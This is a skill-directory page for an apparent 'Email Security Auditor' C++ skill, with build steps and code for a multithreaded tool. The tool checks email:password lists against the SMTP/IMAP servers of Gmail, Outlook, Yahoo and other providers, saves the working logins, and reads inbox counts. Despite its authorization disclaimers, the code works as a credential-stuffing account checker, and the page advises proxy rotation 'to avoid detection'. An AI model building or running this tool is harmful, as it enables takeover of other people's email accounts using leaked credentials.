Email Security Auditor Cpp

reason-machines/security-skills/skills/email-security-auditor-cpp

作者 reason-machines304c245fe992无许可证11 个星标收录于 2026年10月9日更新于 2026年10月9日仓库2个月前更新

Audit email account security, validate credentials, and manage email lists using this C++ email security testing utility

仅含说明Security
AI 生成的概览

通过批量测试 SMTP/IMAP 凭据来审计邮箱账户安全，并报告有效登录。

功能
该技能提供用于审计邮箱账户安全的 C++ 指导与代码模式。内容涵盖针对 SMTP 和 IMAP 服务器验证邮箱凭据组合、自动识别服务商服务器、运行多线程批量检查，以及将有效和无效结果写入输出文件。它还说明了配置、速率限制、代理支持、故障排查与法律注意事项。该技能仅为说明文档，不附带脚本。
适用场景
当你需要测试邮箱认证机制、批量验证凭据组合，或为获得授权的安全测试构建 C++ 邮箱凭据验证工具时使用。它面向你拥有或已获得明确许可进行测试的系统。
运行要求
C++17 工具链（g++ 或 CMake）、OpenSSL 开发库和 pthreads；访问 SMTP/IMAP 服务器的网络连接；由用户提供的凭据。不包含脚本。

Email Security Auditor Skill

Skill by ara.so — Security Skills collection.

Overview

Email Security Auditor is a C++ utility designed for security testing and auditing of email accounts. It validates email credentials, checks SMTP/IMAP authentication, and manages email lists for penetration testing and security auditing purposes.

Primary use cases:

  • Validating email credential combinations during security audits
  • Testing SMTP/IMAP authentication mechanisms
  • Bulk email account verification
  • Password security assessments for email accounts
  • Credential stuffing detection and prevention testing

⚠️ Legal Notice: This tool should only be used for authorized security testing on systems you own or have explicit permission to test. Unauthorized access to email accounts is illegal.

Installation

From Release (Recommended for Windows)

bash
# Download from releases page# https://github.com/sipaaryadi06864/Email-Security-Auditor/releases/tag/Release
# Run the installer./Email.Security.Auditor.Installer.exe

Building from Source

bash
# Clone repositorygit clone https://github.com/sipaaryadi06864/Email-Security-Auditor.gitcd Email-Security-Auditor
# Build with g++g++ -std=c++17 -O3 -o email_auditor src/main.cpp src/smtp_client.cpp src/imap_client.cpp -lssl -lcrypto -pthread
# Or use CMakemkdir build && cd buildcmake ..make

Dependencies

bash
# Ubuntu/Debiansudo apt-get install build-essential libssl-dev
# Fedora/RHELsudo dnf install gcc-c++ openssl-devel
# macOSbrew install openssl

Core Functionality

Basic Email Validation

cpp
#include "email_auditor.h"#include <iostream>#include <fstream>
int main() {    EmailAuditor auditor;        // Load credentials from file (email:password format)    std::ifstream creds_file("credentials.txt");    std::string line;        while (std::getline(creds_file, line)) {        auditor.addCredential(line);    }        // Run validation    auditor.setProtocol("smtp");  // or "imap"    auditor.setThreadCount(10);   // parallel connections    auditor.setTimeout(30);        // seconds        auditor.startAudit();        // Save results    auditor.saveValidCredentials("valid.txt");    auditor.saveInvalidCredentials("invalid.txt");    auditor.generateReport("audit_report.txt");        return 0;}

SMTP Authentication Testing

cpp
#include "smtp_client.h"#include <string>
class SMTPAuditor {public:    bool validateCredential(const std::string& email,                            const std::string& password,                           const std::string& server = "") {        SMTPClient client;                // Auto-detect SMTP server from email domain        std::string smtp_server = server.empty() ?             detectSMTPServer(email) : server;                client.setServer(smtp_server, 587); // TLS port        client.setTLSEnabled(true);                try {            if (client.connect()) {                bool authenticated = client.authenticate(email, password);                client.disconnect();                return authenticated;            }        } catch (const std::exception& e) {            std::cerr << "Error: " << e.what() << std::endl;        }                return false;    }    private:    std::string detectSMTPServer(const std::string& email) {        size_t at_pos = email.find('@');        if (at_pos == std::string::npos) return "";                std::string domain = email.substr(at_pos + 1);                // Common SMTP servers        if (domain.find("gmail.com") != std::string::npos)            return "smtp.gmail.com";        else if (domain.find("outlook.com") != std::string::npos ||                  domain.find("hotmail.com") != std::string::npos)            return "smtp.office365.com";        else if (domain.find("yahoo.com") != std::string::npos)            return "smtp.mail.yahoo.com";                return "smtp." + domain;    }};

IMAP Authentication Testing

cpp
#include "imap_client.h"
class IMAPAuditor {public:    struct AuditResult {        bool valid;        std::string message;        int inbox_count;    };        AuditResult auditAccount(const std::string& email,                            const std::string& password) {        AuditResult result{false, "", 0};                IMAPClient client;        std::string imap_server = detectIMAPServer(email);                client.setServer(imap_server, 993); // SSL port        client.setSSLEnabled(true);                try {            if (client.connect()) {                if (client.login(email, password)) {                    result.valid = true;                    result.message = "Authentication successful";                    result.inbox_count = client.getMailboxCount("INBOX");                } else {                    result.message = "Authentication failed";                }                client.disconnect();            } else {                result.message = "Connection failed";            }        } catch (const std::exception& e) {            result.message = std::string("Error: ") + e.what();        }                return result;    }    private:    std::string detectIMAPServer(const std::string& email) {        size_t at_pos = email.find('@');        if (at_pos == std::string::npos) return "";                std::string domain = email.substr(at_pos + 1);                if (domain.find("gmail.com") != std::string::npos)            return "imap.gmail.com";        else if (domain.find("outlook.com") != std::string::npos)            return "outlook.office365.com";        else if (domain.find("yahoo.com") != std::string::npos)            return "imap.mail.yahoo.com";                return "imap." + domain;    }};

Multi-threaded Bulk Validation

cpp
#include <thread>#include <queue>#include <mutex>#include <atomic>#include <vector>
class BulkEmailAuditor {private:    std::queue<std::pair<std::string, std::string>> credentials;    std::mutex queue_mutex;    std::mutex output_mutex;    std::atomic<int> processed{0};    std::atomic<int> valid_count{0};        std::ofstream valid_file;    std::ofstream invalid_file;    public:    BulkEmailAuditor(const std::string& valid_output,                     const std::string& invalid_output) {        valid_file.open(valid_output);        invalid_file.open(invalid_output);    }        ~BulkEmailAuditor() {        valid_file.close();        invalid_file.close();    }        void addCredential(const std::string& email,                       const std::string& password) {        std::lock_guard<std::mutex> lock(queue_mutex);        credentials.push({email, password});    }        void processQueue(int thread_id, const std::string& protocol) {        SMTPAuditor smtp_auditor;        IMAPAuditor imap_auditor;                while (true) {            std::pair<std::string, std::string> cred;                        {                std::lock_guard<std::mutex> lock(queue_mutex);                if (credentials.empty()) break;                cred = credentials.front();                credentials.pop();            }                        bool is_valid = false;                        if (protocol == "smtp") {                is_valid = smtp_auditor.validateCredential(                    cred.first, cred.second);            } else if (protocol == "imap") {                auto result = imap_auditor.auditAccount(                    cred.first, cred.second);                is_valid = result.valid;            }                        {                std::lock_guard<std::mutex> lock(output_mutex);                if (is_valid) {                    valid_file << cred.first << ":" << cred.second << "\n";                    valid_file.flush();                    valid_count++;                } else {                    invalid_file << cred.first << ":" << cred.second << "\n";                    invalid_file.flush();                }                processed++;            }        }    }        void audit(int thread_count = 10, const std::string& protocol = "smtp") {        std::vector<std::thread> threads;                for (int i = 0; i < thread_count; i++) {            threads.emplace_back(&BulkEmailAuditor::processQueue,                                this, i, protocol);        }                for (auto& thread : threads) {            thread.join();        }                std::cout << "Audit complete: " << processed << " processed, "                  << valid_count << " valid\n";    }};

Usage Example

cpp
#include "bulk_email_auditor.h"#include <fstream>#include <sstream>
int main(int argc, char* argv[]) {    if (argc < 2) {        std::cerr << "Usage: " << argv[0] << " <credentials_file>\n";        return 1;    }        BulkEmailAuditor auditor("valid_accounts.txt", "invalid_accounts.txt");        // Load credentials from file    std::ifstream input(argv[1]);    std::string line;        while (std::getline(input, line)) {        std::istringstream iss(line);        std::string email, password;                if (std::getline(iss, email, ':') &&             std::getline(iss, password)) {            auditor.addCredential(email, password);        }    }        // Run audit with 20 threads using SMTP    auditor.audit(20, "smtp");        return 0;}

Configuration

Environment Variables

bash
# SMTP/IMAP server settingsexport EMAIL_AUDIT_SMTP_SERVER="smtp.gmail.com"export EMAIL_AUDIT_SMTP_PORT="587"export EMAIL_AUDIT_IMAP_SERVER="imap.gmail.com"export EMAIL_AUDIT_IMAP_PORT="993"
# Timeout and retry settingsexport EMAIL_AUDIT_TIMEOUT="30"export EMAIL_AUDIT_MAX_RETRIES="3"export EMAIL_AUDIT_RETRY_DELAY="5"
# Threadingexport EMAIL_AUDIT_THREAD_COUNT="10"
# Loggingexport EMAIL_AUDIT_LOG_LEVEL="INFO"  # DEBUG, INFO, WARN, ERRORexport EMAIL_AUDIT_LOG_FILE="audit.log"

Configuration File

Create config.ini:

ini
[Server]smtp_server = smtp.gmail.comsmtp_port = 587imap_server = imap.gmail.comimap_port = 993use_tls = trueuse_ssl = true
[Performance]thread_count = 10timeout = 30max_retries = 3retry_delay = 5
[Output]valid_file = valid_credentials.txtinvalid_file = invalid_credentials.txtreport_file = audit_report.txtlog_file = audit.loglog_level = INFO
[Security]rate_limit = 100  # requests per minutedelay_between_requests = 0.5  # seconds

Common Patterns

Rate-Limited Auditing

cpp
#include <chrono>#include <thread>
class RateLimitedAuditor {private:    int requests_per_minute;    std::chrono::steady_clock::time_point last_request;    public:    RateLimitedAuditor(int rpm = 60) : requests_per_minute(rpm) {        last_request = std::chrono::steady_clock::now();    }        void enforceRateLimit() {        auto now = std::chrono::steady_clock::now();        auto elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(            now - last_request).count();                int min_delay_ms = 60000 / requests_per_minute;                if (elapsed < min_delay_ms) {            std::this_thread::sleep_for(                std::chrono::milliseconds(min_delay_ms - elapsed));        }                last_request = std::chrono::steady_clock::now();    }        bool validateWithRateLimit(const std::string& email,                               const std::string& password) {        enforceRateLimit();                SMTPAuditor auditor;        return auditor.validateCredential(email, password);    }};

Proxy Support

cpp
class ProxyAuditor {public:    void setProxy(const std::string& proxy_host, int proxy_port) {        this->proxy_host = proxy_host;        this->proxy_port = proxy_port;        use_proxy = true;    }        bool validateThroughProxy(const std::string& email,                             const std::string& password) {        // Implementation would use SOCKS5 or HTTP proxy        // This requires additional proxy library integration        return false;    }    private:    std::string proxy_host;    int proxy_port;    bool use_proxy = false;};

Troubleshooting

SSL/TLS Connection Issues

cpp
// Enable verbose SSL debuggingclient.setSSLDebug(true);
// Disable certificate verification (NOT recommended for production)client.setVerifySSL(false);
// Specify custom CA bundleclient.setCABundle("/path/to/ca-bundle.crt");

Authentication Failures

Common causes:

  • App passwords required: Gmail/Outlook require app-specific passwords when 2FA is enabled
  • Less secure apps: Some providers block "less secure app access"
  • Rate limiting: Too many failed attempts trigger temporary blocks
  • Wrong server/port: Verify SMTP/IMAP settings for each provider

Performance Optimization

cpp
// Increase connection poolingclient.setKeepAlive(true);client.setMaxConnections(50);
// Adjust timeoutsclient.setConnectionTimeout(10);client.setReadTimeout(20);
// Use pipelining for SMTPclient.enablePipelining(true);

Memory Management

cpp
// Process large credential lists in batchesvoid processBatches(const std::string& filename, int batch_size = 1000) {    std::ifstream file(filename);    std::string line;    std::vector<std::pair<std::string, std::string>> batch;        while (std::getline(file, line)) {        // Parse email:password        auto [email, password] = parseCredential(line);        batch.push_back({email, password});                if (batch.size() >= batch_size) {            processBatch(batch);            batch.clear();        }    }        if (!batch.empty()) {        processBatch(batch);    }}

Security Best Practices

  1. Never hardcode credentials - use environment variables or secure vaults
  2. Implement rate limiting - prevent account lockouts and IP bans
  3. Use encrypted storage - protect credential lists at rest
  4. Log securely - never log passwords in plaintext
  5. Obtain authorization - only test systems you own or have permission to audit
  6. Use proxy rotation - distribute requests to avoid detection
  7. Handle errors gracefully - don't expose sensitive information in error messages

Legal and Ethical Considerations

This tool is designed for authorized security testing only. Ensure you:

  • Have written permission to test target email accounts
  • Comply with applicable laws (CFAA, GDPR, etc.)
  • Follow responsible disclosure practices
  • Document all testing activities
  • Respect rate limits and provider terms of service

Unauthorized access to email accounts is illegal in most jurisdictions and can result in criminal prosecution.

来源与署名

来源：reason-machines/security-skills位于skills/email-security-auditor-cpp提交304c245

许可证： 无许可证

内容归原作者所有。SourceWeft 从公开仓库中收录这些内容。

举报或申请下架

更多来自 reason-machines/security-skills 的技能

Vibe Pentest Ai Security Testing

reason-machines

面向 Web 应用、API 和管理后台的 AI 多智能体自动化渗透测试，输出安全报告。

Security112个月前更新

Unisecurityguard Academic Whistleblower Archive

reason-machines

指导搭建基于 GitHub 的学术职场举报与遭审查社交媒体证据存档平台。

Security112个月前更新

Security Detections Mcp

reason-machines

用于搜索和分析安全检测规则并映射 MITRE ATT&CK 覆盖范围的 MCP 服务器技能。

Security112个月前更新

Security Threat Awareness

reason-machines

提醒用户警惕伪装成破解安全软件的 GitHub 恶意软件分发仓库。

Security112个月前更新

S800 Vehicle Network Security Testing

reason-machines

指导汽车 CAN 总线与车载网络的安全测试，涵盖流量捕获、模糊测试、ECU 扫描、重放与 UDS 诊断。

Security112个月前更新

Pentest Agents Bug Bounty Framework

reason-machines

自主漏洞赏金框架，包含狩猎代理、验证关卡、漏洞利用链和平台 MCP 服务器。

Security112个月前更新

更多Security技能

Kyc Rules

anthropics

精选

将公司的 KYC/AML 规则表应用于已解析的开户记录，评定风险并给出处理路由。

Security39K2周前更新

Compliance Tracking

anthropics

精选

跟踪合规要求、审计准备情况以及 SOC 2、ISO 27001、GDPR、HIPAA 和 PCI DSS 等框架的证据。

Security27K今天更新

Dpop Adoption

google

精选

指导为 Google OAuth 平台实现 OAuth 2.0 DPoP（RFC 9449）发送方约束刷新令牌。

Security21K今天更新

Secops Triage

google

精选

指导 SOC 分析师对 Google SecOps 安全告警进行分诊，从调查到关闭或升级。

Security21K今天更新

Secops Investigate

google

精选

指导 SOC 分析师在 Google SecOps 中使用 UDM 查询和时间线进行深入的安全事件与实体调查。

Security21K今天更新

Secops Hunt

google

精选

指导在 Google SecOps 中使用 UDM 查询、IoC 回溯、普遍性与异常分析进行主动威胁狩猎。

Security21K今天更新